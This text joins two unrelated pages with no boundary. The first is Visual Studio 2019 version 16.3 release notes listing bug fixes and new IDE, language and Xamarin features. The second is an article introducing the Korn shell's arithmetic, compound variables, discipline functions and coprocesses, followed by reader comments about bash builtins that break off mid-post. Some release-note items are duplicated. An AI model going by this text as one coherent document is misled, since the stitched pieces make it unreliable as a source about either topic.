Visual Studio 2019 Release Notes | Developer Community | System Requirements | Compatibility | Distributable Code | License Terms | Blogs | Known Issues | Click a button to download the latest version of Visual Studio 2019. For instructions on installing and updating Visual Studio 2019, see the Update Visual Studio 2019 to the most recent release. Also, see instructions on how to install offline. What's New in Visual Studio 2019 Visual Studio 2019 Releases - November 5, 2019 — Visual Studio 2019 version 16.3.8 - October 29, 2019 — Visual Studio 2019 version 16.3.7 - October 22, 2019 — Visual Studio 2019 version 16.3.6 - October 15, 2019 — Visual Studio 2019 version 16.3.5 - October 10, 2019 — Visual Studio 2019 version 16.3.4 - October 8, 2019 — Visual Studio 2019 version 16.3.3 - October 1, 2019 — Visual Studio 2019 version 16.3.2 - September 25, 2019 — Visual Studio 2019 version 16.3.1 - September 23, 2019 — Visual Studio 2019 version 16.3.0 Archived Release Notes - Visual Studio 2019 version 16.2 Release Notes - Visual Studio 2019 version 16.1 Release Notes - Visual Studio 2019 version 16.0 Release Notes Visual Studio 2019 Blog The Visual Studio 2019 Blog is the official source of product insight from the Visual Studio Engineering Team. You can find in-depth information about the Visual Studio 2019 releases in the following posts: - - Visual Studio 2019 version 16.1 and Preview 16.2 Preview - Visual Studio 2019: Code faster. Work smarter. Create the future. Visual Studio 2019 version 16.3.8 released November 5, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.8 - Added support for Xcode 11.2 - 'TypeConverter cannot convert from System.String' after upgrade to Visual Studio 2019. - Fixed an issue where loading existing extensions (.design dll) in UWP crashes Visual Studio. Visual Studio 2019 version 16.3.7 released October 29, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.7 - C++ Linux project - Remote header sync is broken in Visual Studio 16.3 - Visual Studio 16.3 opens some files with notepad - Fixed an issue with the Show Output window either closing too quickly. - Fixed an issue where Visual Studio 2019 stops responding in several scenarios, including opening a solution, changing solution configuration, and closing a solution. Visual Studio 2019 version 16.3.6 released October 22, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.6 - Automatic ANSI .rc file conversion to UTF8 !!!! (not wanted !!!!) - Fixed an inaccurate error message when developers try publishing .NET Core 3.0 apps to Azure. - Stability improvement in msbuild/dotnet restore when plugins are used to restore against authenticated feeds. Visual Studio 2019 version 16.3.5 released October 15, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.5 - Updating VS 2019 corrupts installation - Fixed an additional issue causing enterprise users building offline caches and offline users to fail an install. Visual Studio 2019 version 16.3.4 released October 10, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.4 - Xamarin.iOS Designer update to support for Xcode 11.1 - Publish doesn't work in Visual Studio 16.3.1 Visual Studio 2019 version 16.3.3 released October 8, 2019 contextstudio.Shell.15.0 NuGet package received a warning message of Framework not found. - Fixes MSVC compiler bug involving implicit conversion from a lambda to function pointer. - Fixed issue with Visual Studio crashing due to null reference exception. - A fix is made to address a compiler internal error when the code has an out-of-line definition of a static data member of a nested class inside a partial specialization. Visual Studio 2019 version 16.3.2 released October 1, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.2 - Corrected an issue with Xcode 11 support. Visual Studio 2019 version 16.3.1 released September 25, 2019 Top Issues Fixed in Visual Studio 2019 version 16.3.1 - 16.3 - XAML designer not showing for .NET Core 3.0 apps - Fixed an issue causing Visual Studio to stop responding. Visual Studio 2019 version 16.3.0 released September 23, 2019.0 - "Create Test Certificate" option missing from UWP SDK in VS2019 - VS2019 - Query designer stopped working - Project Properties - Code Analysis - Text is WRONG - Visual Studio 2019 freezes and crashes on creating new project - Editor and productivity features are not fully localized in Visual Studio 2019 16.3 Preview 3 - Problem with command Tab order (in design mode) - Error: Some or all identity references could not be translated. - Visual Studio 16.2 hangs opening any dialog for editing - error MSB6006: "CL.exe" exited with code 2. - Blank code metrics result - VS2019 is crashing during start of the debug session if "Enable Edit and Continue" is switched off. - Visual Studio 2019(16.0.2) generator incorrect code with inline+/O2 in Qt 5.12.3 QBezier - Error Signing into VS Feedback Tool - Rename refactoring does not work in files included in Shared Projects - Rename operation was cancelled or is not valid - Brace completion when member list is up does not put the character in the right position - Problem with command Tab order (in design mode) - error MSB6006: "CL.exe" exited with code 2. - Error Signing into the VS Feedback Tool - blank code metrics result - Rename refactoring does not work in files included in Shared Projects - Rename operation was cancelled or is not valid - C++/CLI bug with inline namespaces header - Error: Some or all identity references could not be translated. - rvalue-reference-to-array can bind to lvalue-reference-to-array - Brace completion when member list is up does not put the character in the right position - Secure Secrets with Azure Key Vault Not In Connected Services List - VS file search is signficantly slower than VA file search - Visual Studio crash when TFS is not found. - Visual Studio error displaying .razor file. - Increase AndroidClientHandler timeouts. - "Create Test Certificate" option missing from UWP SDK in VS2019. Details of What's new in Visual Studio 2019 version 16.3.0 .NET Framework 4.8 The .NET Framework 4.8 development tools have been added to support targeting .NET Framework 4.8. The .NET Framework 4.8 offers several new features and improvements as well as numerous reliability, stability, security, and performance fixes. Find more details about the .NET Framework 4.8 in the .NET Framework 4.8 blog announcement .NET productivity - Developers can now rename a file when renaming an interface, enum, or class. Place the cursor in the class name and type (Ctrl + R,R) to open the Rename dialogue and check the ‘Rename file’ box. - You can now Edit and Continue support for multi-targeted projects which includes modules loaded multiple times in the same process on different domains or load contexts. In addition, developers can edit source files even when the containing project is not loaded or the application is running. - You can now wrap chains of fluent calls with a refactoring. Place your cursor on a call chain and press (Ctrl+.) to trigger the Quick Actions and Refactorings menu. Select either Wrap call chain or Wrap and align call chain. - Users can now introduce a local variable immediately after writing its initializer. First, write an expression. Then place the cursor in the expression name and press (Ctrl+.) to trigger the Quick Actions and Refactorings menu. Select the option to introduce a local variable. - There is now .NET Core tooling support for analyzers. Users can add the most recommended analyzer package by right clicking on the project name within the solution explorer and select properties. Select Code Analysis to install the analyzer package and to configure when to run code analysis. - Previously, we added IntelliSense completion for unimported types. This feature came with the option to turn it off for users who did not want unimported types always populating their IntelliSense. Now, for users who turn off the completion for unimported types, it's much easier to get it back in the completion list with the new imported type filter added to the IntelliSense toggles. - There is now Quick Info style support for XML comments. Place the cursor over the method name. Quick Info will then display the supported styles from the XML comments above the code. WPF/UWP Tooling Customers building WPF/UWP applications will see the following improvements in Visual Studio XAML tooling: Designer: - WPF Designer now fully available (GA) for WPF .NET Core Projects: The XAML Designer for WPF .NET Core applications is now generally available (GA) to all customers without the need for preview feature flag. The XAML Designer for WPF .NET Core applications is slightly different in some behaviors and functionality then WPF .NET Framework Designer, please note this is by design. Given the difference we’d like to encourage customers to report any problems or limitations that you might be running into using Visual Studio feedback feature. XAML Debugging Tools: - XAML Hot Reload support added for WPF resource dictionaries changes: XAML Hot Reload now supports updating WPF Resource Dictionaries for real-time updates in the application. Previously this feature was only available to Universal Windows Platform (UWP), but is now supported for WPF .NET Framework, WPF .NET Core and UWP apps. Supported actions include adding a new Resources section definition and adding, deleting and updating resources new/existing sections. - In-app toolbar now movable: The in-app toolbar has been enhanced so that it is movable within the running WPF/UWP application, enabling developers to drag it left or right within the app to unblock app UI. Note that position to which the toolbar is moved is not stored between sessions and will go back to the default position when your app is restarted. UWP Package Signing. - Brought back the ability to create and import signing certificate files (.pfx) through the Manifest Designer. - Introduced the ability to create and import signing certificates through the Packaging Wizard to streamline the signing process. .NET tools - Support for adding new Open API & GRPC service references to .NET Core 3.0 projects. - Publish .NET Core 3.0 worker projects Azure Container Registry, DockerHub, etc. - .NET Core 3.0 templates for Worker, gRPC, Razor Class library & Blazor are surfaced in the New Project Dialog. - Any updates made to the .NET Core 3.0 templates via the .NET CLI are also surfaced in Visual Studio. C++ - C++ developers can now toggle line comments using the keyboard shortcut Ctrl + K, Ctrl + /. - IntelliSense member lists are now filtered based on type qualifiers, e.g. const std::vectorwill now filter out methods such as push_back. - Added the following C++20 Standard Library preview features (with /std:c++latest): - New C++ Core Guideline checks, including the new "Enum Rules" rule set, and additional const, enum, and type rules. - A new default semantic colorization scheme allows users to better understand their code at a glance, the call-stack window can be configured to hide template arguments, and C++ IntelliCode is on-by-default. - Configure debug targets and custom tasks with environment variables using CMakeSettings.json or CppProperties.json or the new "env" tag on individual targets and tasks in launch.vs.json and tasks.vs.json. - Users can now use a quick action on missing vcpkg packages to automatically open a console and install to the default vcpkg installation. - The remote header copy done by Linux projects (CMake and MSBuild) has been optimized and now runs in parallel. - Visual Studio's native support for WSL now supports parallel builds for MSBuild-based Linux projects. - Users can now specify a list of local build outputs to deploy to a remote system with Linux Makefile projects. - Setting descriptions in the CMake Settings Editor now contain more context and links to helpful documentation. Container Tools - Developers building Azure Functions (v2) can now add Docker container support (Linux only) to their C# projects. This can be done by right clicking the project name in Solution Explorer and selecting "Add" --> "Docker Support". In addition to adding a Dockerfile to your project the debug target will be set to "Docker". What this means is debugging of Functions code will happen inside of the running container. Users will be able to hit breakpoints, inspect variables, and use all the powerful debugging features Visual Studio provides. Database Profiling for .Net Core projects This release includes a new tool in the suite of performance and diagnostics tools available via the Performance Profiler (ALT-F2).. Debugger - The Parallel Stacks Window has improved the visualization of tasks and their dependencies in a process to make it easier to diagnose problems in asynchronous code. F# and F# tools This release includes support for F# 4.7, the newest version of the F# language! Much of F# 4.7 was dedicated to underlying infrastructural changes that allow us to deliver preview of F# language functionality more effectively. That said, there are still some nice new features delivered as well. F# language and core library We added support for F# 4.7, a minor language release that comes with compiler infrastructure to enable preview features so that we can get feedback on feature designs earlier in the development process. The full F# 4.7 feature set is: - Support for the LangVersionflag, which allows for configuring the F# language version used by the compiler to be F# 4.6 or higher - Support for implicit yields in array, list, and sequence expressions - Indentation requirement relaxations for static members and constructors - Relaxing the need for a double-underscore ( __) in member declarations and forloops, contributed by Gustavo Leon - FSharp.Core now targets netstandard2.0instead of netstandard1.6, following the deprecation of support for .NET Core 1.x - FSharp.Core on .NET Core now supports FSharpFunc.FromConverter, FSharpFunc.ToConverter, and FuncConvert.ToFSharpFunc - FSharp.Core now supports Async.Sequentialand an optional maxDegreeOfParallelismparameter for Async.Parallel, contributed by Fraser Waters In addition to the F# 4.7 feature set, this release includes support for the following preview F# language features: - Support for nameofexpressions - Support for opening of static classes You can enable this by seeting <LangVersion>preview</LangVersion> in your project file. This release also contains the following bug fixes and improvements to the F# compiler: - A longstanding issue where the F# compiler could stack overflow with massive records, structs, or other types has been resolved (#7070) - An issue where specifying invalid inline IL could crash Visual Studio has been resolved (#7164 - Resolution of an issue where copying of a struct would not occur if it was defined in C# and mutated in a member call (#7406) - A crypto hash of the portable PDB content created by the compiler is not included in the PE debug directory, with a configurable hash set to SHA-256 by default (#4259, #1223) - A bug where LeafExpressionConverterignored ValueTypeand assumed System.Tuplehas been fixed (#6515) by Kevin Malenfant - A bug where List.transposediscaded data instead of throwing an exception has been resolved (#6908) by Patrick McDonald - A bug where List.map3gave a misleading error when used on lists of different lengths has been resolved (#6897) by reacheight F# tools This release also includes a few improvements to the F# tools for Visual Studio: - Records are formatted more to look more like canonical declarations and values in tooltips and F# interactive (#7163) - Properties in tooltips now specify whether or not that are get-only, set-only, or getand set(#7007) - An issue where Go to Definition and other features could not always work across projects when files use forward slashes (#4446, #5521, #4016) has been fixed, with help from chadunit - Issues with anonymous records and debugging have been resolved (#6728, #6512) - A bug where empty hash directives in source could make source text coloring seem random has been resolved (#6400, #7000) IDE - A search box in the start window allows you quick location of recently used projects, solutions, and folders. In addition, these MRU code containers integrate with Visual Studio global search so developers can find them through the Visual Studio search box. - Improvements to the Installer dialog interface within the Visual Studio IDE makes it easier to identify specific workloads being added to Visual Studio. - VS Search will support the ability to search for types and members with C# and VB, as well as file search for all languages. Results will show up as users type their search query, as well as in a dedicated ‘Code’ group accessible via keyboard shortcut or mouse click. - Newly installed project templates are indicated with a "New" label to allow quick identification, and filters show selected values in the New Project Dialog. In addition, developers can organize recently used templates by pinning, unpinning, and removing them from the list. - Search for templates in the New Project Dialog through a more robust fuzzy search which adapts with typos and plurals to highlighting matching keyword and rank results based on search and filter relevance. Installer - Visual Studio now updates both the Visual Studio IDE and the Installer with a single click for increased productivity. - The Visual Studio installer components for .NET Core 2.1 and 2.2 used to only carry the runtime. From this preview onwards the components will also carry the templates as well as the runtime. - A search box in the Visual Studio Installer's Individual components tab allows for quick location of all available components for installation. IntelliCode - The C++ base model has been turned on by default. - You can change this setting by going to Tools > Options > IntelliCode. - We've included Repeated Edits for C#, which analyzes local edits for repeatable changes and determines other places you may need this change within the same file. - Suggested repeated edits will appear in the Error List and as warnings within the code file. JavaScript/TypeScript - JavaScript and TypeScript classification (commonly called “syntax coloring”) will be applied to large files more quickly. The list of JavaScript and TypeScript code fixes and refactorings (i.e. the lightbulb) will also be displayed more quickly. - There is now editor support for TypeScript 3.6. - When a tsconfig.json file is edited or changed, Visual Studio will now refresh the project more responsively. Python Tests - Python Developers can now run tests using the popular Python framework pytest in both Python projects and Open Folder workspace scenarios. - To enable pytest and unittest for Python projects, right-click on the project solution name and select Properties. From there, select the Test tab to select testing options. Note that for unittest, you must specify the directory for the tests (root directory is the default) as well as the pattern for the test filenames. Test Discovery is intitiated as soon as changes are saved in the Test tab. - The unittest testing experience has been reworked such that a user now needs to manually configure tests for both Python projects and Open Folder workspaces as these tests are no longer automatically discovered: - To enable tests for Python folders, click on the icon to Show All Files in the Solution Explorer. From there, click on the PythonSettings.json file located within your 'Local Settings' folder (if there isn't a file there, create one). Within this file, you can specify the 'TestFramework' you wish to use as well as the test filename patterns and the directory that contains your tests (both options apply to unittest): - Test debugging is updated to use PTVSD 4, but if users wish to continue using the 'Legacy Debugger' or run into any issues with using the new debugger, they can enable it by going to Tools > Options > Python > Debugging > Use Legacy Debugger and check the box to enable it. - We have also made it simple for users with pre-existing projects and in open folder workspaces that contain test files to quickly continue working with their code in Visual Studio 2019. When users open a project that contains testing configuration files (e.g. a .ini file for pytest), but they have not installed or enabled pytest, they will be prompted to install the necessary packages and configure them for the Python environment they are working: - Similarly for unittest test files within a project or open folder workspace, users will be prompted to install and/or enable the testing framework. For both scenarios, developers have the option to ignore the message and to manually configure the framework. Visual Studio Performance Profiler - The CPU Usage tool in the Performance Profiler automatically displays the "hot path" indicator with a red flame icon when displaying the Call Tree. This saves a click on common CPU Usage performance investigations. The CPU Usage tools is accessible by using Alt-F2 or from the Debug menu. - The Performance Profiler now participates in forward/backward navigation in the Visual Studio IDE. As developers navigate to various views of tools in the Performance Profiler, navigation points are saved along with other navigation items. They can be employed by clicking the navigation buttons or using navigation commands in Visual Studio. Web Tools - Easily configure applications' dependencies in publish profiles using the new Add Dependency wizard. It currently supports adding dependencies to Azure SignalR Service, Azure SQL Server, Azure Storage allowing users to either provision new instances or select existing ones without leaving the IDE. - The ASP.NET runtime team has enabled support for serving static content from within Razor class libraries due to popular demand. In this preview of Visual Studio, the team has added tooling support for this scenario. Xamarin This release includes the following Xamarin SDK updates: - Xamarin.iOS 13 - Adds support for Xcode 11 to build and debug apps for iOS 13, tvOS 13, and watchOS 6. See our Introduction to iOS 13 for more details on the new features available. - Xamarin.Android 10 - Android apps can now target Android 10 by setting Compile using Android version: (Target Framework) to Android 10.0 (Q) under the Application tab of the project property page. Android 10 introduces features such as dark theme, gestural navigation, and optimizations for foldable devices. See our Android 10 with Xamarin page for more information on these new features. This release also includes several new tooling features and enhancements: - A public preview of XAML Hot Reload for Xamarin.Forms is available in this release. XAML Hot Reload lets you rapidly iterate on your UI while debugging your app on an emulator, simulator, or physical device. Simply edit your XAML then save the file to see the changes immediately reflected on the running app. To enable XAML Hot Reload, go to Tools > Options > Xamarin > Hot Reload. - The XAML Previewer for Xamarin.Forms now renders Material design for both iOS and Android when using Xamarin.Forms Visual. - The Xamarin Designer for iOS has a new way to work with constraints. When you select a constrainable view, an ellipsis will now appear in the toolbar next to the Constraints Pinning Mode selector. Click the ellipsis to display a popover for editing constraints on the selected view. - You can now archive and publish iOS apps from Visual Studio on Windows. Create an archive while paired to a Mac machine by setting the configuration to Release|iPhone, right-clicking your iOS project in the Solution Explorer, and selecting the Archive... menu option. From the archive manager you can save an .ipa to disk for ad-hoc distribution or upload to App Store Connect to publish your app to the App Store. - When you right-click a .plist file in the Solution Explorer, there are new options to quickly open it using the generic plist designer or the XML editor. Known Issues See all issues and available workarounds in Visual Studio 2019 version 16.3 by following the below link. Feedback We would love to hear from you! For issues, let us know through the Report a Problem option in the upper right-hand corner of either the installer or the Visual Studio IDE itself. The icon is located in the upper right-hand corner. You can make a product suggestion or track your issues in the Visual Studio Developer Community, where you can ask questions, find answers, and propose new features. You can also get free installation help through our Live Chat support. Blogs Take advantage of the insights and recommendations available in the Developer Tools Blogs site to keep you up-to-date on all new releases and include deep dive posts on a broad range of features. Visual Studio 2019 Release Notes History For more information relating to past versions of Visual Studio 2019, see the Visual Studio 2019 Release Notes History page.
https://docs.microsoft.com/en-us/visualstudio/releases/2019/release-notes
CC-MAIN-2019-47
refinedweb
4,075
56.76
I've got a Solaris 10u6 sparc and a Solaris 10u8 x86 system, with gcc 3.4.3 and 3.4.5 installed. After extracting the source and typing './configure' and 'gmake', I get the following error while compiling TestAssert.cpp: In file included from TestAssert.cpp:2: ../../include/cppunit/portability/FloatingPoint.h: In function `int CppUnit::floatingPointIsFinite(double)': ../../include/cppunit/portability/FloatingPoint.h:43: error: `finite' was not declared in this scope This is a little strange, because the ./configure script determined that 'finite' worked on this system (and accordingly defined CPPUNIT_HAVE_FINITE). I got around this problem by manually changing FloatingPoint.h to not use finite, but the bigger question is why 'configure' thought 'finite' was available. I couldn't see any obvious way to fix configure so that it correctly identifies 'finite'. Anyone else have similar issues compiling on Solaris 10 with gcc 3.4.x? Stephan Bergmann 2009-12-11 I just ran into the same problem, trying to build CppUnit 1.12.1 on Solaris 10 using the Sun CC C++ compiler. configure checks for finite with AC\_CHECK\_FUNCS, which only checks that finite is in libc (which it is), but not which header needs to be included (ieeefp.h on Solaris). So, I think a fix would be: -- cppunit-1.12.1/include/cppunit/portability/FloatingPoint.h +++ cppunit-1.12.1/include/cppunit/portability/FloatingPoint.h @@ -3,6 +3,11 @@ #include <cppunit/Portability.h> #include <math.h> + +#if defined(__sun) && !defined(CPPUNIT_HAVE_ISFINITE) && defined(CPPUNIT_HAVE_FINITE) +#include <ieeefp.h> + // <math.h> is still needed for usage of fabs in TestAssert.cpp +#endif CPPUNIT_NS_BEGIN Stephan Bergmann 2009-12-11
http://sourceforge.net/p/cppunit/discussion/37107/thread/a2233fe6
CC-MAIN-2014-52
refinedweb
272
53.58
waitid(2) waitid(2) NAME [Toc] [Back] waitid - wait for child process to change state SYNOPSIS [Toc] [Back] #include <sys/wait.h> int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options); DESCRIPTION [Toc] [Back] The waitid() function are used to specify which children waitid() will wait for. If idtype is P_PID, waitid() will wait for the child with a process ID equal to (pid_t)pid. If idtypeis P_PGID, waitid() will wait for any child with a process group ID equal to (pid_t)pid. If idtypeis P_ALL, waitid() will wait for any children and id is ignored. The options argument is used to specify which state changes waitid() will wait for. It is formed by OR-ing together one or more of the following flags:. Hewlett-Packard Company - 1 - HP-UX 11i Version 2: August 2003 waitid(2) waitid(2) structure pointed to by infop will be filled in by the system with the status of the process. The si_signo member will always be equal to SIGCHLD. RETURN VALUE [Toc] [Back] If waitid() returns due to the change of state of one of its children, 0 is returned. Otherwise, -1 is returned and errno is set to indicate the error. ERRORS [Toc] [Back] The waitid() function will fail if: [ECHILD] The calling process has no existing unwaited-for child processes. [EINTR] The waitid() function was interrupted due to the receipt of a signal by the calling process. [EINVAL] An invalid value was specified for options, or idtype and id specify an invalid set of processes. APPLICATION USAGE [Toc] [Back] Threads Considerations In a multi-threaded application, only the calling thread is suspended by waitid(). waitid() will not return until all threads in the process have reached the desired state. For example, if the WEXITED, WSTOPPED or WCONTINUED options are specified, waitid() will not return until all threads in the process have terminated, stopped or continued respectively. SEE ALSO [Toc] [Back] exec(2), exit(2), wait(2), <sys/wait.h>. CHANGE HISTORY [Toc] [Back] First released in Issue 4, Version 2. Hewlett-Packard Company - 2 - HP-UX 11i Version 2: August 2003
https://nixdoc.net/man-pages/HP-UX/man2/waitid.2.html
CC-MAIN-2021-10
refinedweb
351
63.19
- Articles - Documentation - Distributions - Forums - Sponsor Solutions. By default, Linux generally uses bash, the Bourne again shell. Before moving from that to the Korn shell, consider why you might want to change shells. The Korn binary is smaller than the bash binary, and many functions (such as echo and getopts) are built into the shell rather than separate executables, which means that Korn uses less memory to run and can be quicker as well. In addition, Korn is completely backward compatible with bash. That means that even if you never use any of the Korn functionality, you can still use all of the commands that you're already used to. In addition, Korn offers useful features like built-in arithmetic expressions, compound variables, discipline functions, and coprocesses, all of which we'll cover in a moment. With Korn's advantages, you may wonder why Linux uses bash by default. Quite simply, the reason is historical. The default shell for Unix was the Bourne shell (or sh), so it was logical that the default shell for Linux should be the Bourne again shell. Of course, when talking about the default, we're actually just talking about your entry in /etc/passwd. If your entry reads something like: bainm:x:1000:100:Mark Alexander Bain:/home/bainm:/bin/bash then your default shell is the Bourne again shell, but if it reads something like: bainm:x:1000:100:Mark Alexander Bain:/home/bainm:/bin/ksh then your default shell is the Korn shell. You can also check which you're using by querying your system's environment: > env | grep SHELL SHELL=/bin/bash Before you try changing your shell to Korn you may want to make sure that it is actually installed on your system. The easiest way to do that is to look for the executable: > ls -l /bin/bash /bin/ksh ls: /bin/ksh: No such file or directory -rwxr-xr-x 1 root root 677184 2006-12-11 21:20 /bin/bash If the Korn executable is not there, you can use your distro's installation mechanism to get it; for example, use Yast on SUSE or apt-get install ksh on Debian. Then, to change to the Korn shell, just type /bin/ksh. To stop, type exit at the command line and you're back to bash. You can make Korn your default by changing your information in /etc/passwd, but it's probably safer to do this through your distro's user management software. However, you don't need to change to the shell in order to use it; instead, you can create a script and tell it to use Korn by adding one line at the start of the file: #!/bin/ksh Let's now see what additional functionality you get when you start using Korn, starting with Korn's built-in arithmetic expressions. If you've tried to carry out any maths using bash you'll have had to have done it indirectly, with an expression like answer=$( echo 1.5 + 1.7 | bc ) or answer=$( echo 1.5 1.7 | awk '{print $1 + $2 }' ). If you use Korn, you'll be able to do that directly by typing answer=$(( 1.5 + 1.7 )) or (( answer = 1.5 + 1.7 )). You can use this ability in conjunction with some other mathematical functions, such as abs, acos, asin, atan, cos, cosh, exp, int, log, sin, sinh, sqrt, tan, and tanh. So, for example, you could create variable containing a very accurate value for pi with the expression (( pi = 4.0 * ( 4.0 * atan(1.0/5.0) - atan(1.0/239.0) ) )). This would calulate pi to be 3.14159265358979324. We've just seen how to use a variable to store the value of pi. Let's examine the variables that we might want to use to define a circle using the Korn shell and our pi variable: > radius=30 > (( circumference = 2 * pi * radius )) > (( area = pi * radius * radius )) As you see, you do not need to use the $ sign when using variables; you can if you want to, but you don't need to. In this expression, the variable circumference would now contain 188.495559215387594 and area would contain 2827.43338823081392. Suppose you want to group these variables together, maybe prefixing each variable with the letters "circle_". With Korn you can use a single variable to do the job -- a compound variable: > circle= > circle.radius=30 > (( circle.circumference = 2 * pi * circle.radius )) > (( circle.area = pi * circle.radius * circle.radius )) You can use this technique to do more than just neaten up variables; you can use it to create the structures and records that you see in many programming languages: > driverx=( name="" float wage=145.50 integer travel_radius=50 ) Here we've defined a compound variable as a structure and defined a data type for each field, and given each of them a default value. Next we can use our structure to build a record set: > eval "driver01=$driverx" > driver01. eval "driver02=$driverx" > driver02. (( driver02.wage = ${driverx.wage} * 1.10 )) # Let's give Fred a pay rise > print "${driver01.name} \$${driver01.wage} ${driver01.travel_radius} miles" Bill $145.50 50 miles > print "${driver02.name} \$${driver02.wage} ${driver02.travel_radius} miles" Fred $160.05 50 miles Not only can you assign multiple values to a single variable, but with Korn you can even associate functions with one -- Korn's discipline functions. A Korn variable can have three discipline functions -- get, set, and unset -- which are executed when the variable is read, written to, or removed. There's also one big difference between these and other shell functions -- these functions don't output anything directly; you'll need make use of the Korn special variable .sh.value. Changing the value of .sh.value from within your function changes the value of your variable. So, using discipline functions, the method for calculating the circumference of a circle becomes: > function circle.circumference.get { (( .sh.value = 2 * pi * circle.radius )) } This function can be defined on the command line for use in the current shell, or written into a script file, but once done you only have to change the value for the radius variable to change the circumference variable: > circle.radius=1 > echo ${circle.circumference} 6.28318530717958648 > circle.radius=20 > echo ${circle.circumference} 125.66370614359173 In a very short time you'd be able to create a set of functions that calculates the area and circumference when you input the radius; the area and radius when you input the circumference; and the circumference and radius when you input the area -- all using just the three variables circle.area, circle.circumference, and circle.radius. Next, we'll just look at something else that you may not have come across before, but which you may find useful -- the coprocess. If you're familiar with bash, you already know that a pipe, represented by |, allows the output of one process to be fed as the input to another. A Korn coprocess is simply a two-way pipe. With it you can make background and foreground processes communicate with each other. All you have to do is to send one process to the background (using |&), then use print -p to send information to the process and read -p to obtain outputs from it. The first thing to do is to create the script to run in the background. The following script accepts a numerical input and keeps a running total: #!/bin/ksh total=0 while [ "" == "" ] do read input (( total = total + input )) echo $total done If you save this as keep_count.ksh, you can start using it in the following way, either from the command line or from within a script: ./keep_count.ksh |& print -p 2 read -p x # x will contain 2 print -p 10 read -p x # will now contain 12 You can have as many processes running in the background as you want. The only problem is working out how to communicate to each of them -- except that it isn't a problem. The secret is to redefine each pipe's file descriptors: ./ keep_count.ksh |& exec 4>&p # Redefine the input exec 5<&p # Redefine the output print -u4 1 read -u5 x # x will contain the value 1 ./ keep_count.ksh |& exec 6>&p exec 7<&p print -u4 1 read -u5 x # x will now contain the value 2 print -u6 1 read -u7 y # y will contain the value 1 Though we said that Korn had backwards compatibility with bash, there are some differences. For example: history. If you type history 100 in bash then the shell will display the last 100 history entries. If you do the same in Korn, it will display all entries from line 100 of the history file. If you see one of the lines that you want to run again, type r and the line number: >history 1069 ls -l /lib/ast/ksh 1070 ls -l /bin/ksh93 1071 html2text -style pretty /home/bainm/Articles/Bain_ksh.html | wc -w 1072 grep bainm /etc/passwd 1073 ps -ef | grep firefox 1074 kill -9 3639 >r 1071 One other issue you may find if you start using Korn is that if you press the up-arrow key, then instead of seeing the last command that you typed in, you'll see a set of control characters. The same occurs if you press the left, right, or down arrows. The remedy is simple: edit your /etc/.kshsrc file and add the line set -o emacs. Next time you start the shell the keys will work in the way that you're used to. Note: Comments are owned by the poster. We are not responsible for their content. Korn -- an extended shellPosted by: Anonymous [ip: 89.221.80.85] on May 05, 2008 05:45 PM I had heard its name a lot before, but never really considered it as a candidate for my default (and beloved!) shell. Now I'm going to take it seriously into account; I'll start by trying it for a while. I have loved BASH during my GNU/Linux life; probably I'll also love KSH for the rest of it! -- Ebrahim # Korn -- an extended shellPosted by: Anonymous [ip: 91.199.241.6] on May 05, 2008 05:55 PM echo $((1+1)) Its documented also, for instance: Cheers # Re: Korn -- an extended shellPosted by: Anonymous [ip: 199.172.169.21] on May 06, 2008 10:24 AM # Korn -- an extended shellPosted by: Anonymous [ip: 207.203.254.110] on May 05, 2008 06:04 PM Haz # Re: Korn -- an extended shellPosted by: Anonymous [ip: 69.12.128.128] on May 05, 2008 06:37 PM # Korn -- an extended shellPosted by: Anonymous [ip: 69.12.128.128] on May 05, 2008 06:34 PM # Re: Korn -- an extended shellPosted by: Anonymous [ip: 4.249.201.79] on May 05, 2008 07:41 PM # Re(1): Korn -- an extended shellPosted by: Anonymous [ip: 141.123.223.100] on May 05, 2008 09:43 PM # Now that I got the snake in the bag..Posted by: Anonymous [ip: 10.12.35.31] on May 05, 2008 07:05 PM # Korn -- an extended shellPosted by: Anonymous [ip: 10.0.1.19] on May 05, 2008 09:51 PM Fact checking, anyone? Both the examples cited are shell-builtins on bash as well.. # Re: Korn -- an extended shellPosted by: Anonymous [ip: 91.84.13.8] on May 05, 2008 10:05 PM /bin/echo $ bash --version GNU bash, version 3.2.25(1)-release (i486-pc-linux-gnu) Doesn't look builtin to me... # Re(1): Korn -- an extended shellPosted by: Anonymous [ip: 69.12.128.128] on May 05, 2008 10:47 PM Then look under "SHELL BUILTIN COMMANDS" and you'll find echo. But its not the one executed by default. You can chmod 000 your /bin/echo and still have the ability to echo. # Re(1): Korn -- an extended shellPosted by: Anonymous [ip: 195.135.144.148] on May 06, 2008 01:01 PM # bash --version GNU bash, version 3.1.17(1)-release (i486-pc-linux-gnu) # which echo /bin/echo # mv /bin/echo /bin/echo.bak # echo test test ;) # Re(1): Korn -- an extended shellPosted by: Anonymous [ip: 12.34.246.36] on May 06, 2008 03:21 PM user@host [/home/q0px] $ strings `which bash` | grep -w echo echo [-neE] [arg ...] user@host [/home/q0px] $ bash -c 'builtin echo'; echo $? 0 user@host [/home/q0px] $ bash -c 'builtin /bin/echo'; echo $? bash: line 0: builtin: /bin/echo: not a shell builtin 1 As an aside, A big reason Linux used Bash instead of Korn was that ksh was not considered open source until recently. The AT&T license didn't allow it to be redistributed, or something like that. That's also why pdksh was developed. Recently, though, ksh93 was relicensed under the AT&T "cpl". If anything, it would have made more sense for Linux to use ksh if it was possible, since the POSIX sh specification was *very* strongly influenced by ksh88. With regards to the difference between ksh93 and Bash - basically ksh has namespaces/compound variables and the ability to load compiled modules (I'm working on a module for shell-native LDAP support, for example), while Bash has the <<< "here variables" and better programmable completion. Ksh93 runs scripts faster than Bash, in general. Essentially, ksh (ksh93, not ksh88) is slightly more capable for script development, while bash is a little more handy as an interactive shell. # Korn -- an extended shellPosted by: Anonymous [ip: 65.19.217.154] on May 05, 2008 10:51 PM -------- $ type which which is aliased to `type -path' $ echo $BASH_VERSION 3.1.17(1)-release $ type echo echo is a shell builtin $ ------ And if you want to change your shell, use a shell command! Try 'chsh' :) sdb # Korn -- an extended shellPosted by: Anonymous [ip: 84.69.189.20] on May 05, 2008 10:53 PM > /echo Go back a few pages, and you'll find echo *IS* a builtin command - along with test, kill, and several others.. Which DOES NOT show builtin commands For example: $ ksh $ which echo /bin/echo I don't know the comparable 'whence' command in bash, but in ksh it shows builtins. # Korn -- an extended shellPosted by: 